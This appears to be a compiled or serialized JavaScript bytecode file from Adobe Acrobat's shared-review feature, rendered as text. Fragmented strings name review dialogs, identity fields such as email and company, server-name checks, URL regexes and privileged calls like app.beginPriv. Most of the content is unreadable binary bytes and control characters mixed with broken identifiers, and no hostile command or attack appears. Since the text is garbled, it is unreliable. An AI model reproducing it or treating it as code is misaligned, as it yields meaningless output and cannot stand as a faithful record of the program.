�T5V7WQ=VWQV5VV8QVV�Y=]V]	=
]V5]
\8Q�WQ��V�V�:QV5�V�V5WQ�L���8NV�6QV�6QV�6QV�6QVZY=];5]
C];5]\`Y=]=
]	=]\`Y=]C]=] ;5!]
\`Y="]=#]$V]%\`Y=&];5']
=(])ZY=]=#]$=*]	C]V]
;5]\`\]%\`\6Q;+�,
�:Q9-�-�V�:WQ;+�.
�:QV�ɐ��ː�ː��ɐ�0��ː���E��А͐�А��ː�ʐȐʐА��ɘ�f
�ѐ���Ր���Θ�f�Θ�f1�Θ�fY�Θ�ff����ʐϐ�Ԑ��ʐʐϐ��ʐ�ʐԐ��ʐʐ͐��ʐϐʐ���ʐʐʐ�Ȑ昀f��ѐ�֐�ѐ���serverControlsselectedhasUserNameserverslengthsvrradiotypeitem_idsrvrgroup_id
initiatorNamenameinitiatorDescriptionidle
initializecommit	didSelectdescriptionstatic_textAnnotsString.IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_STEP_TEXT	wrap_nameCollabwizardWidthwidth	edit_text
align_fill	alignmentbolddialogfont*IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_TITLEview	align_topalignelementscluster0IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_DESCRIPTION	align_rowalign_childrendescapp	beginPrivANTrustPropagateAllendPriv������@instancekey��fT������8Q��Ӑ���������dialog��fA�
�T������:Q��ۈ	didSelect�������

dialognamenext� �!fT�
�:5WQV;E:QV�>E*QV�
��:@EQA5@WQAA55V6QT�
�YV]	\�:Q�א�Ȑ�֐�ވstorename	undefinedlengthmatchselectedhasUserNameinitiatorDefaultNameenablenext^\s+$�������7dialogtoLoad	selection�!�#fY=]\WQ=WQA55�=rA555�=VA5556QA555�=!A555WQAC6QVVC8QT�	
�V�:QA�

�T�V�:Q�Ԑɐ���������ِ������Ԑ�Ș�f+�ɐ�Ӑ��Ո"C_Info_Xl_N.pngtip1svr0datatoAdd	undefinednametypehasUserNameload	didSelect�������g=dialognextserversiservermsg$�'1fT ;�
�:Q;5WQ;�
�:QnT�
�:5oQ;��<c;�
�:Q;�	
�Y;
5]\�:Q;�
�:Q9
�
�=�:QVK�mMWQVV7WQ;V5�;
5�
��;�:WQ;�
�:Q;�	
�YV]\�:Q;�
�:Q9
�
�=�:Q�L���]NA5@iA5Y\6QA55A56QA55T�
�:56QA55A56Q������ѐΐ�ѐ��ސ�����ѐ�琈ѐ�Ր��5��ː�ː���合ѐ��ѐ�ޘ�fP����Ґ�א�䐈׈'app	beginPrivCollab
reviewServersendPrivserver_namestorenamelengthalertAnnotsString&IDS_SHARED_REVIEW_SERVER_NAME_TOO_LONGcMsg
DebugThrowServer Name too longUI(IDS_SHARED_REVIEW_SERVER_NAME_NOT_UNIQUEreplaceServer Name not UniqueselecteddatatoAddservertype
selectedID\{cServerName\}�������m�	 
dialogidtoLoad�'�(YfAT6QAA5T76QY\WQA5 VA556QVA556QT�
�V�:Q��ʐ�ѐʐ����Ԑ��Ԑ�ӈ
selectedIDselectedserverControlshasUserNamenameinitiatorDefaultNamedescinitiatorDescriptionloadB������u�	dataWizdriverdesc-�-�f	;�
�:QT55WQ9��V�
�:�:WQT5V�
�:6QV;�
�:Q��ѐѐᐈܐ���шapp	beginPrivtoAddserverANTrustPropagateAllgetInitiatorConfigconfig
getSettingendPriv�����p�+
cSourceURLpos	searchPos./�fT��WQVQVWQ4mT�
�V�:=
V#?WQQ�V?����T�
�>�V�:�ϐ��&4(;���E��f��(̘�f���f��̐��Ո&lengthcharAt/substr;�����
��
Q�v	cReviewIDdoc
cDriverURI
bReturningtitlewidth
reviewInfooServerIconoSharedReviewIconurlbIsAcrobatDotComresultdecodedFileNamedescription[/�_�f�T;5;5WQXXWQ;�
�:Q;�
�T�:WQ;�
�:Q;�
�=	�:�����Q;�
�=
�:�����Q;�
�V5
�:WQ;�
�:Q;�
�V5
�:�����Q�����V;56Q'V;�
�V5�:6Q;�
�:QYT ]B]\�����Q@WQ�9��T5�:WQ3�vW
Q9��T5�:WQ�V DQV'=T5WQYV]�����]V]�����]Y\]B]�]�]�]�] �]!�]"YV]#V]$ZY=%]&ZY=%]&='](ZY=)]&=*]+�����5$]$�����5,],\`Y=-]&=.]+=/]0=1]2�V�]$�],\`\]3\`Y=%]&='](ZY=4]&X�]5�V�]$ZY=-]&;56]#=7]0�],\`Y=-]&=8]+�V�]$\`Y=-]&=9]+�V�]$\`Y=-]&=:]+�V�]$\`Y=-]&=;]+�V�]$\`\]3\`Y=4]&=<]=V�]$X�]5ZY=-]&;5>]#=7]0�],\`Y=-]&=#]+=1]2V�]$\`Y=-]&=?]+=1]2V�]$\`Y=-]&=@]+=1]2V�]$\`\]3\`\]3\`Y=%]&=A]==A](V]$ZY=B]&=C]+=A]=X�],\`\]3\`Y=%]&='](ZY=)]&=D]+�����5$]$�����5,],\`Y=-]&=E]==F]0C]G;5H]#\`Y=-]&=E]=V5]#\`\]3\`Y=%]&='](=A]=ZY=I]&=J]+;5K]#\`Y=L]&\`\]3\`\]3\`\]3\]M\W	Q;�
�:Q9N�N�V	�:W	Q;�O
�V	�:Q;�
�:QV�P
�:QV	5�vW
Q������ϐΐ����ѐؐ�ѐ���ݐ��ѐ����ؐ��␈ѐ����ɐј�fϕ����x��ʐ��ۀ{���ʈ���̐���ȐΐȐΐː��ʘ�f�ʘ�f�ʘ�gʘ�gʘ�g0ʘ�g��ȐȐ���ʐ���ʐʐ���ʐʐӐؐ��ʐʐʐʐΐט�gٕʐʐ���ʐȐΐ���ʐϐʐ̐��ʐʐӐ��ʐʐӐ��ʐʐӐ��ʐʐޘ�h�ʐʐːȐ���ʐϐʐ̐��ʐʐʐА��ʐʐʐА��ʐʐʐ昀h#�ʐʐʐȐ���ʐʐʐؘ�h2�ʐʐ���ʐʐӐؐ��ʐʐʐ�Ԑ��ʐʐݘ�hK�ʐʐʐ���ʐʐԐ�����ha�ѐ�֐�Ր�ѐ���ϐ���x��ʐ�{����AnnotsString(IDS_SHARED_REVIEW_STATUS_RETURNING_TITLE&IDS_SHARED_REVIEW_STATUS_INITIAL_TITLEapp	beginPrivCollab
getReviewInfoendPrivgetIconAX_Server_Lg_N.pngA_SendForSharedReview_Xl_N.pngutilcrackURL
cReviewURLisDocCenterURLcHostIDS_TRACKER_ACROBAT_DOT_COMgetFullyQualifiedHostname
bDoPublishbDoNotShowWelcomeDialog	decodeURIdocumentFileNameunescapestring
reviewInforesultbAcrobatDotComoDialogbUpdatedOnce
initializecommitdidUpdateReviewhaveUpdatedOncesetIdentityInfosetReviewersInfonamewidthviewtype	align_rowalign_childrenimagericoitem_idheightstatic_textrtxttitlefonttruncate_endtruncateelementsclusterdheight&IDS_SHARED_REVIEW_STATUS_REVIEW_STATUSheadingsDftsDedsComsRev	align_top	alignment)IDS_SHARED_REVIEW_STATUS_REVIEWER_PROFILEtitlmail
align_fillmclvlistsico
align_leftdialogbold&IDS_SHARED_REVIEW_STATUS_REVIEW_SERVER	check_boxsrweIDS_DONT_SHOW_AGAINokdescriptionANTrustPropagateAll
execDialog
setHandler����e�������+dialogprops�57�fA5�
�A�:QY�����]�����]A55]\WQT�
�V�:QA�
�T�:QA�	
�T�:QAT6
QT�
�=�:QT�
�=�:Q��Ԑ��ΐΐՐ���Ӑ��ѐ�ѐ�ʐ�Ր�Ո
reviewInfo
setHandlersicoricoresult
bDoPublishpublloadsetIdentityInfosetReviewersInfooDialogmakeDefaultokfocus�����?�dialog47�7�fA5T�
�:56QA5T�
�:56Q��ߐ�߈=result
bDoPublishstorepublbDoNotShowWelcomeDialogsrwe�������7<8�fAC6QA�
�A5�:Q��Ȑ�Ԉ$bUpdatedOncesetReviewersInfooDialog������f8�8gA5���bUpdatedOnce�����C�Odialogparams�8W<g;�
�:Q�����CsY;5];5];5]\WQV5=	$VV56QV=	6Q�Y;
5];
5];
5]\WQV5=	V;
5
6QV5=	$VV56QV=	6Q;�
�:QT�
�V�:Q��ѐ�n����ϐϐԐ������ѐ�Ә�g���ϐϐԐ����	Ӑ�����ѐ�ΐ���ѐ��ӈapp	beginPriv
shareIdentityFullNamenameTitletitlEmailmailidentitytitleemail	loginNameendPrivload�������F5dialog
reviewInfo
oReviewersnActiveReviewersparamsoStatusicNamecTitle	nCommentsnNewCommentscommentsrowheadingnDraftCommentssy<^O0gA5WQV5WQ>WQYYZY=];5]<]\`Y=];5]<]\`Y=	];5
]<]\`Y=];5]<]?]
\`Y=];5]<]\`\]Z\]\]\WQY;5];5];5];5]\WQVK�mMWQV;EQV=vVV75WQV;=WQVV75WQV;=WQVV75WQVV75 W	QV;V#?WQQ>WQ>W	QV
Q;5!W
QV
�"
��=#V�:W
QV
�"
��V	=#�:W
QVV75$ =W
QYV]V]V]	=V
]VVV75%7]\WQV55V55�&V8Q�L���iNV5'=(b;5)WQV�"
��A5*�:WQVV6+QV;-�.
�=/�:6,Q�V5'=0b;51WQV�"
��A5*�:WQVV6+QV;-�.
�=2�:6,Q�����53;54;55WQV�"
��A5*�:WQVV6+QV;-�.
�=6�:6,QV57W
QV5'=(t;58WQV
>;59WQV
?;5:WQVV�"
��=V
�:6;Qj;5<WQV
>=WQV
?;5=WQVV�"
��=V
�:6;QVV5?6>Q;5@WQV�"
��=V5 �:WQVV�"
��=V5�:6AQ;5BWQV�"
�	�=V�:WQVV�"
�
�=V5D�:6CQV5;=FVV5>6;QVV5A6>QVV5C6AQV=6CQT�E
�V�:Q�ʐ̐�������������󐐐՘�gH��ϐϐϐԐ��5��ː����А��ɐ�А��ɐ�АА�����ѐ�����������ΐ�	␈␈	���
ɐ���ȐȐȐΐڐ���혀g{�]��ΐ�ߐ�̐�䐐�]��ΐ�ߐ�̐�䐐����ϐΐ��ߐ�̐�ߐ��̐�o��ΐ� Ӑ
�%ΐ�쐐��ΐ� ΐ
�%ΐ�琐��ѐ�ΐ�琈쐐ΐ�␈쐐�����ѐ�ѐ�ѐ�ΐ���ӈ
reviewInfo
oReviewersEmailNameAnnotsStringIDS_SHARED_REVIEW_STATUS_EMAILUIwidthIDS_SHARED_REVIEW_STATUS_NAMETitleIDS_SHARED_REVIEW_STATUS_TITLEComments!IDS_SHARED_REVIEW_STATUS_COMMENTS
JustificationStatusIDS_SHARED_REVIEW_STATUS_STATUSaColumnsaRowslist#IDS_TRACKER_REVIEWER_TYPE_INITIATOR	Initiator"IDS_TRACKER_REVIEWER_TYPE_REQUIREDRequired"IDS_TRACKER_REVIEWER_TYPE_OPTIONALOptionalIDS_TRACKER_REVIEWER_TYPE_ADDED	Uninvited	undefinedcNamecTitle	nCommentsnNewComments#IDS_SHARED_REVIEW_STATUS_N_COMMENTSreplace bHasParticipatedcStatuslengthcStateEnded&IDS_SHARED_REVIEW_STATUS_ENDED_HEADINGdocumentFileNamertxtricoCollabgetIcon#A_ReviewEndedReviewFile_45x45_N.png	Corrupted*IDS_SHARED_REVIEW_STATUS_CORRUPTED_HEADING'A_ReviewCorruptedReviewFile_45x45_N.png
bDoPublish(IDS_SHARED_REVIEW_STATUS_INITIAL_HEADING*IDS_SHARED_REVIEW_STATUS_RETURNING_HEADINGA_SendForSharedReview_Xl_N.pngnDraftComments9IDS_SHARED_REVIEW_STATUS_MANY_DRAFT_COMMENTS_REVIEW_ENDED9IDS_SHARED_REVIEW_STATUS_ZERO_DRAFT_COMMENTS_REVIEW_ENDED8IDS_SHARED_REVIEW_STATUS_ONE_DRAFT_COMMENTS_REVIEW_ENDEDsDft,IDS_SHARED_REVIEW_STATUS_MANY_DRAFT_COMMENTS+IDS_SHARED_REVIEW_STATUS_ONE_DRAFT_COMMENTSsDedcDeadlineWelcomeString)IDS_SHARED_REVIEW_STATUS_COMMENTS_WELCOMEsCom*IDS_SHARED_REVIEW_STATUS_REVIEWERS_WELCOMEsRev
nNewReviewersload%totalComments%
%newComments%
%filename%
%filename%
%filename%%num%%num%
%newComments%%totalComments%%activeNum%%num%{��?�?333333�?q=
ףp�?���Q��?����e�v �����O�<1I
bCanCancel
labelWidthidFieldsdescription�_�srh
X,WQZY=];5]=]C]=]	\`Y=
]�
]\`Y=];5]=]=]	\`Y=
]=]V]=]\`\WQ9��: �V�
�ZY=]=]=]	;5]\`Y=
]=]V]=]\`\�:WQ�V�
�ZY=]=]=]	;5]\`Y=
]=]V]=]\`Y=]=]=]	;5]\`Y=
]=]V]=]\`\�:WQV�
�ZY=]=]=]	;5]\`Y=
]=]V]=]\`Y=]=]=]	;5]\`Y=
]=]V]=]\`Y=
]�]\`Y=]=]=]?]\`Y=]= ]!="]ZY=#]=$]� ]� ]\`Y=];5%]\`\]&\`YT='
=(]\`\�:WQYB])@]*9��:]+�],�]-�].�]/�](Y=]X�];051];052]3;054]5ZY=]=]!V]&\`\]&\]6\WQ;7�8
�:Q99�9�V�:WQ;7�:
�V�:Q;7�;
�:QV5)������ʐϐʐ�ϐ���ʐ̐��ʐϐʐϐ��ʐʐȐԘ�h��������ː���ʐʐʐԐ��ʐʐȐݘ�h���ː��ʐʐʐԐ��ʐʐȐϐ��ʐʐʐԐ��ʐʐȐؘ�hƈː��ʐʐʐԐ��ʐʐȐϐ��ʐʐʐԐ��ʐʐȐϐ��ʐ̐��ʐʐʐː��ʐʐʐ���ʐʐ�̐��ʐߘ�h��
瘀i�����Ӑ�ʘ�i'ʘ�i6ʘ�i;ʘ�iOʘ�iU�ʐȐϐϐϐ����ʐʐޘ�ig�ѐ�֐�Ր�ѐ�Ɉstatic_texttypeAnnotsString%IDS_SHARED_REVIEW_IDENTITY_SETUP_TEXTname
align_fill	alignmentbolddialogfontgapheight IDS_SHARED_REVIEW_IDENTITY_EMAIL	edit_text
align_leftwidthmailitem_idhasHankoconcatIDS_SHARED_REVIEW_IDENTITY_NAME$IDS_SHARED_REVIEW_IDENTITY_LAST_NAMElnme%IDS_SHARED_REVIEW_IDENTITY_FIRST_NAMEfnme$IDS_SHARED_REVIEW_IDENTITY_JOB_TITLEjobt"IDS_SHARED_REVIEW_IDENTITY_COMPANYcmpy	separatorview	align_rowalign_childrenalign_centerimageimg1$IDS_SHARED_REVIEW_IDENTITY_PREF_TEXTelements	ok_cancelokbResultoDialog	bHasHanko
initializeisValididlecommitCollabwizardHeightmarginHeight
margin_heightwizardMarginWidthmargin_widthdescriptionapp	beginPrivANTrustPropagateAll
execDialogendPriv�������](dialogprops�j�m	iY\WQ;�
�:QV;56QV;56QV;56QV5=V;	5
6QV;56QV5=V;	5
6QV;56QV5=V;	56QV;56QV5=V;	56QV=6Q;�
�:QT�
�=�:QT�
�=�:QT�
�V�:QT�
�YB]\�:QAT6Q�ʐ��ѐ�Ӑ�Ӑ�Ӑ���Ӑ�Ӑ���Ӑ�Ӑ���Ӑ�Ӑ���Ӑ�ΐ�ѐ��Ր�Ր��Ӑ�ܐ�ʈapp	beginPrivfnmeidentity	firstNamelnmelastNamename
shareIdentityFullNamemailemailEmailcmpycorporationCorporationjobttitleTitleimg1C_Info_Xl_N.pngendPrivmakeDefaultfocusloadvisiblehideoDialog�������	dialogpropsbHasName�mjo'iT�
�:WQBWQA50V5=EQV5=WQV5=WQ9��V5�:E	QV�Ґ�+���됐�	Ґ���.store	bHasHankofnmelnmenameCBIsValidEmailmail�����/�dialog�o�o6i	T�
�YA�
�A5�:]\�:Q���4enableisValidoDialogok�������6dialogprops�o�q;iT�
�:WQ;�
�:Q;V56QA50;V56Q;V5
6	Q;V56QV5=
;V56QV5=
;V56Q;�
�:QAA�
�T�:6Q�Ґ�ѐ�Ӑ�+���Ӑ�ؐ��	Ӑ���Ӑ��Ӑ�ѐ��׈$storeapp	beginPrividentityemailmail	bHasHanko	firstNamefnmelastNamelnmenamecmpycorporationjobttitleendPrivbResultisValid������dialog�q�qOiT�
�=�:Q��Ոendok����ANValidateIdentity
�;propsbHasNamet]voiY\WQ;�
�:QV;56QV;56QV;56QV;5	6QV;56
QV;5
6Q;�
�:QBWQA50V5=EQV5=WQV5=WQ9��V5�:E	QV�ʐ��ѐ�Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�ѐ��+���됐�Ґ���.app	beginPrivfnmeidentity	firstNamelnmelastNamenamemailemailcmpycorporationjobttitleendPriv	bHasHankoCBIsValidEmail�������:D
labelWidthidFieldsdescription�v��i
X,WQZY=];5]=]C]=]	\`Y=
]�
]\`Y=];5]=]=]	\`Y=
]=]V]=]\`\WQ9��: �V�
�ZY=]=]=]	;5]\`Y=
]=]V]=]\`\�:WQ�V�
�ZY=]=]=]	;5]\`Y=
]=]V]=]\`Y=]=]=]	;5]\`Y=
]=]V]=]\`\�:WQV�
�ZY=]=]=]	;5]\`Y=
]=]V]=]\`Y=]=]=]	;5]\`Y=
]=]V]=]\`Y=
]�]\`Y=]=]=]?]\`Y=]= ]!="]ZY=#]=$]� ]� ]\`Y=];5%]\`\]&\`\�:WQYB]'@](9��:])�]*�]+�],�]-Y=];.5/];.50];.51]2;.53]4=]!=]V]&\]5\WQ;6�7
�:Q98�8�V�:WQ;6�9
�:QV������ʐϐʐ�ϐ���ʐ̐��ʐϐʐϐ��ʐʐȐԘ�i��������ː���ʐʐʐԐ��ʐʐȐݘ�i���ː��ʐʐʐԐ��ʐʐȐϐ��ʐʐʐԐ��ʐʐȐؘ�i܈ː��ʐʐʐԐ��ʐʐȐϐ��ʐʐʐԐ��ʐʐȐϐ��ʐ̐��ʐʐʐː��ʐʐʐ���ʐʐ�̐��ʐ蘀j����Ӑ�ʘ�j:ʘ�jIʘ�jPʘ�j�ʐϐϐϐϐʐʐӘ�j��ѐ�֐�ѐ���static_texttypeAnnotsString%IDS_SHARED_REVIEW_IDENTITY_SETUP_TEXTname
align_fill	alignmentbolddialogfontgapheight IDS_SHARED_REVIEW_IDENTITY_EMAIL	edit_text
align_leftwidthmailitem_idhasHankoconcatIDS_SHARED_REVIEW_IDENTITY_NAME$IDS_SHARED_REVIEW_IDENTITY_LAST_NAMElnme%IDS_SHARED_REVIEW_IDENTITY_FIRST_NAMEfnme$IDS_SHARED_REVIEW_IDENTITY_JOB_TITLEjobt"IDS_SHARED_REVIEW_IDENTITY_COMPANYcmpy	separatorview	align_rowalign_childrenalign_centerimageimg1$IDS_SHARED_REVIEW_IDENTITY_PREF_TEXTelementsbResultoDialog	bHasHanko
initializeisValididlecommitCollabwizardWidthwizardHeightmarginHeight
margin_heightwizardMarginWidthmargin_widthdescriptionapp	beginPrivANTrustPropagateAllendPriv�������"tIdialogprops,���jY\WQ;�
�:QVA55;;5A556QVA55;;5A556QVA55	;;5	A55	6	QV5	=
V;56	QVA55;;5A556
QV5
=
V;56
QVA55;;5A556QV5=
V;56QVA55;;5A556QV5=
V;56QV=6Q;�
�:QT�
�=
�:QT�
�=
�:QT�
�YB]\�:QT�
�V�:QT�
�YB] \�:QAT6!Q�ʐ��ѐ���合�合�����Ӑ������Ӑ������Ӑ������Ӑ�ΐ�ѐ��Ր�Ր��ܐ�Ӑ�ܐ�ʈapp	beginPrivfnmedata	firstName	undefinedidentitylnmelastNamename
shareIdentityFullNamemailemailidemailEmailcmpycorporationCorporationjobttitleTitleimg1C_Info_Xl_N.pngendPrivmakeDefaultfocusvisiblehelploadenablenextoDialog�������	dialogpropsbHasName��C�:jT�
�:WQBWQA50V5=EQV5=WQV5=WQ9��V5�:E	QV�Ґ�+���됐�	Ґ���.store	bHasHankofnmelnmenameCBIsValidEmailmail�����a�dialogY��Ij	A55=!T�
�YB]\�:QT�
�YA�
�A5�:]\�:Q����ܐ��4data
reviewTypeFormDistributionenableprevisValidoDialognext������}.dialognextprops1�M�PjT�
�:WQTQA5=6QA5=6QA5=6QA5=6QA5=6QA5=6Q;	�

�:Q;V5
6QA50;V56Q;V56Q;V56QV5=;V56QV5=;V56Q;	�
�:QAA�
�T�:6Q�A5V5
6QA52A5V56QA5V56QA5V56QV5=A5V56QV5=A5V56Q�Ґ�L���ѐ�ѐ�ѐ�ѐ�ѐ�ѐ��ѐ�Ӑ�+���Ӑ�ؐ��
Ӑ���Ӑ��Ӑ�ѐ��ܐ����Ԑ�-���Ԑ�ِ���Ԑ���Ԑ���Ԉstoredataemailid	firstNamelastNamenamecorporationtitleapp	beginPrividentityemailmail	bHasHankofnmelnmecmpyjobtendPrivbResultisValid�����	��	;�Y	cReviewID
cSourceURLdocurlhostFQHNbIsAcrobatDotComoIcontitledecodedFileNamebodydescriptionres2�X��j�;�
�T�:WQVQ;�
�:Q;�
�T�:WQV;5WQ";�
�V5	�:WQ;�

�:Q;�
�=�:�����Q;5
WQV�
��;5=;5;5�:WQ@WQ�9��T5�:WQ3�vW	Q9��T5�:WQ�V DQV'=T5WQ;5WQV�
��V�:WQV�
��V�:WQ9��V�:WQYB]B]�]�]�]�]YV];5 ]!ZY="]#=$]%ZY="]#=&]%ZY=']#=(])�����5!]!�����5*]*\`Y=+]#C],;5 ]!V]\`\]-\`Y="]#=&]%=.]/ZY=0]#=]);51]\`Y=2]#=.]/\`Y="]#=&]%=3]/ZY=4]#;55]=])\`Y=4]#;56]=])\`\]-\`\]-\`\]-\`\]-\]7\WQ;�
�:Q;�8
�V�:Q;�

�:QYV5]9V5]:\WQV�vW	Q����ؐ����ѐؐ��Ӑ��ݐ�ѐ��ΐ��昀j������x��ʐ��ۀ{���ʈ���̐�ΐ�ܐ�ܐ�֐������ʘ�j�ʘ�j�ʘ�j�ʘ�jԕȐϐ���ʐʐ���ʐʐ���ʐʐӐؐ��ʐ�ϐؘ�j�ʐʐʐ���ʐʐԐ��ʐϐ��ʐʐʐ���ʐϐϐ��ʐϐ���k�ѐ�Ր�ѐ��͐Ґ��|���ʐ�{����utilcrackURLapp	beginPrivCollabisDocCenterURLAnnotsStringIDS_TRACKER_ACROBAT_DOT_COMgetFullyQualifiedHostnamecHostendPrivgetIconA_SendForSharedReview_Xl_N.pngIDS_SHARED_REVIEW_SECURE_TITLEreplace
viewerTypeReaderIDS_PRODUCT_NAME_READERIDS_PRODUCT_NAME_ACROBAT	decodeURIdocumentFileNameunescapestringIDS_SHARED_REVIEW_SECURE_BODYCBSetProductVariantbResultbdoNotShowConnectDialog
initializesrcocontcnclnamewizardWidthwidthviewtype
align_leftalign_children	align_rowimagesImgitem_idheightstatic_text	wrap_nameelements
align_fill	alignment	check_boxIDS_DONT_SHOW_AGAINgapalign_rightbutton IDS_SHARED_REVIEW_SECURE_CONNECT
IDS_CANCELdescription
execDialogresultdoNotShowConnectDialog����e�����%�dialog�+��jT�
�Y�����]\�:Q���loadsImg������dialogA����jAT�
�:56Q��ڈ6bdoNotShowConnectDialogstoresrco������dialog����jAC6QT�
�:Q��Ȑ�ψ
bResultend������dialog��&��jT�
�:Q��ψ
end����e\{cProductName\}
\{cFilename\}\{cServer\}t
 �����(�,�B
cSourceURLdocoWorkOfflineIconurlbIsAcrobatDotCombodydescription
closedWith��X�-k;�
�=�:�����Q;�
�T�:WQ;�
�:Q;�
�T�:WQVV;	5
6Q'V;�
�V5�:6Q;�
�:Q;	5
WQV�
��V5�:WQ9��V�:WQY�]�]�]Y;5]ZY=]=]ZY=]=]ZY=]=]�����5]�����5]\`Y=]C];5]V] \`\]!\`\�"
�ZY=]=#]=$]%ZY=&];	5'] =]\`Y=&];	5(] =]\`\]!\`\�:]!\`\]!\])\WQ;�
�:Q;�*
�V�:WQ;�
�:QVx=y=yzn+�o+Qn+?o+Q;+��ؐ�ѐؐ��ؐ��␈ѐΐ�ᐈ֐��ʘ�kCʘ�kHʘ�kN�ϐ���ʐʐ���ʐʐ���ʐʐӐؐ��ʐ�ϐᘀkk��ʐʐʐ���ʐϐϐ��ʐϐ���k��ѐؐ�ѐ�c=���m
��k�mʘ�k����͐P����̐P�����CollabgetIcon!A_DisconnectedFromServer_Xl_N.pngutilcrackURLapp	beginPrivisDocCenterURLcHostAnnotsStringIDS_TRACKER_ACROBAT_DOT_COMgetFullyQualifiedHostnameendPrivIDS_SHARED_REVIEW_OFFLINE_BODYreplaceCBSetProductVariant
initializeofflonliwizardWidthwidthviewtype
align_leftalign_children	align_rowimagedicoitem_idheightstatic_text	wrap_namenameelementsconcatalign_distributealign_right	alignmentbutton+IDS_SHARED_REVIEW_OFFLINE_WORK_DISCONNECTED(IDS_SHARED_REVIEW_OFFLINE_WORK_CONNECTEDdescription
execDialogresult�����D�dialog�]�=kT�
�=�:QT�
�Y=]�����]\�:Q��Ր��AfocusofflloadC_Info_Xl_N.pngtip1dico������dialogs���CkT�
�=�:Q��Ոendoffl������dialog���HkT�
�=�:Q��Ոendonli\{cServer\}������0 FdocbDirty
bMustClosebEndedbodyoSharedReviewIcondescription
closedWith�����k;5WQT3T;5WQ;5WQdT3T;5WQ;5WQ.T;5WQ;5WQ;�
�=	�:�����QYT]
T]T]�]
�]�]�]�]Y;5]ZY=]=]ZY=]=]ZY=]=]�����5]�����5]\`Y=]C];5]V]\`\] \`Y=]=!]="]#ZY=$];5%]=]\`\�&
�T <ZY=$];5']=]\`\
Z\�:�&
�TD	QT<ZY=$];5(]=]\`\
Z\�:�&
�T <ZY=$];5)]=]\`\
Z\�:] \`\] \`\] \]*\WQ;+�,
�:Q;+�-
�V�:WQ;+�.
�:QVx=y(=y0=y7=y?zn/�o/Q:n/?o/Q)n/�o/Qn/�o/Q;/�Θ�k�.����Ӑ��Ӑ���.������Ӑ�����Ә�k����Ӑ��Θ�k����ȐȐȐ�ʘ�k�ʘ�k�ʘ�k�ʘ�k�ʘ�kޕϐ���ʐʐ���ʐʐ���ʐʐӐؐ��ʐ�ϐؘ�k��ʐʐʐ���ʐϐؐ��7ɐ�ʐϐՐ��7ɐ�ʐϐՐ�ш7ɐ�ʐϐՐ�l�ѐؐ�ѐ�cu���m
��l*m
��l.m
��l2mʘ�l%���͐P����̐P����͐P����͐P�����AnnotsString"IDS_SHARED_REVIEW_CLOSE_DIRTY_BODY8IDS_SHARED_REVIEW_CLOSE_BROWSER_PUBLISH_REVIEWENDED_BODY$IDS_SHARED_REVIEW_CLOSE_BROWSER_BODY6IDS_SHARED_REVIEW_CLOSE_DIRTY_PUBLISH_REVIEWENDED_BODY9IDS_SHARED_REVIEW_CLOSE_NONDIRTY_PUBLISH_REVIEWENDED_BODY%IDS_SHARED_REVIEW_CLOSE_NONDIRTY_BODYCollabgetIconA_SendForSharedReview_Xl_N.pngbDirty
bMustClosebEnded
initializedscdsavepublcnclwizardWidthwidthviewtype
align_leftalign_children	align_rowimagesicoitem_idheightstatic_text	wrap_namenameelementsalign_distributealign_right	alignmentbuttonIDS_SHARED_REVIEW_CLOSE_PUBLISHconcatIDS_SHARED_REVIEW_CLOSE_SAVEIDS_SHARED_REVIEW_CLOSE_DISCARD
IDS_CANCELdescriptionapp	beginPriv
execDialogendPrivresult�����:�dialog�M��kT�
�Y�����]\�:QT�
�=�:Q��䐈
Ոloadsicofocuspubl������dialogc����kT�
�=�:Q��Ոenddscd������dialog��Ӭ�kT�
�=�:Q��Ոendsave������dialog���kT�
�=�:Q��Ոendpubl������dialog,�Y��kT�
�=�:Q��Ոendcncl������� ndescription��0�:l
Y�]�]�]�]�]�]�]�]ZY=]	=
]=]
ZY=]	=
]=]\`Y=]	;5]=]\`\]\`Y=]	=
]=]=]\`Y=]	;5]=]\`\]\WQ;�
�:Q9��V�:WQ;�
�:QV���ʘ�lTʘ�lkʘ�lxʘ�l�ʘ�l�ʘ�l�ʘ�l�ʘ�lʐʐʐ���ʐʐϐ��ʐϐژ�m�ʐʐʐϐ��ʐϐژ�m�ѐ�֐�ѐ���
initializefixURLURLToDiPathURLPartialOkcommitidlebrwscnfgviewtype
align_fill	alignment	align_rowalign_children	edit_textdestitem_idbuttonAnnotsString
IDS_BROWSEnameelementsstatic_texttruncate_middletruncatedtpv*IDS_BROWSER_REVIEW_UPLOAD_STEP_AUTO_CONFIGdescriptionapp	beginPrivANTrustPropagateAllendPriv������<dialoglastURL�ж>lA5B6Q;�
�:Q;�
�:Q;�
�:QA55 y;�
�:Q;5WQ;�
�:QV0A5V�	
��=
�:6QA5=6QT�
�YA55]
\�:QT�
�=
�:Q��͐��ѐ�ѐ�ѐ������ѐΐ�ѐ�+��됐�ѐ��搈ՈdatacertWarningPoppedapp	beginPrivCollabupdateMountInfoendPrivdestURL
lastBBRURLreplace/loaddestfocus\/[^\/]*\.pdf$�������
6url��TlT�
��:]T�
��=A555�:UQ=T�
��=�:UQ4T�
��=A555�:UQT�
��: =T�
��:T=UQT=	UQT��X����阀l^����������pʐ���p�����matchreplace\datadocdocumentFileNamefile:////pdf.pdf^\\\\\\\.?$\\\/\.?$\.pdf$\.$�������#url9���klT�
��:?T�
��=�:�
��=�:UQ}T�
��=�:UQT�
��=�:UQT�
��=�:UQT�
��=�:UQ9��T�:��:�������ސ�ސ�ސ�ސ��ӈmatchreplace//$1/unescape^\\\\\\^\/\/^file:\/\/localhost\/^file:\/\/\/
^file:\/\/^\/([^\/]+)\|\/�����d�%destں5�xl;5x=y=yz/T�
��:T�
��:T�
��:��`Y��m
��mʘ�l|��Ր��Ր��Ր�appplatformMACWINmatch'^(?:http[s]?:\/\/)|(?:file:\/\/).+\/.*$B^(?:http[s]?:\/\/.+\/.*$)|(?:file:\/\/.+\/.*$)|(?:\\\\[^\\]+\\.*$))^(?:http[s]?:\/\/)|(?:file:\/\/\/).+\/.*$�������"v`dialognexturlutf8URLK���lT�
�:5WQA5V6QT|A5A�
�V�:6QA55�
��: �;�
�:Q;�	
�;
5�
��A55�:�����:�9
�
�=�:Q;�
�:Q�;�
�:QA55�
��:SA55�
�YC];5]A55]C]\�:QLA55�
�YC]A�
�A55�:]C]\�:Q;A556Q;�
�:Qe�vWQV5�>;�	
�;
5�
��A55�:�:QVp�;�
�:Q;�
�;�
�A55�:�:WQ;�
�V�:Q;�
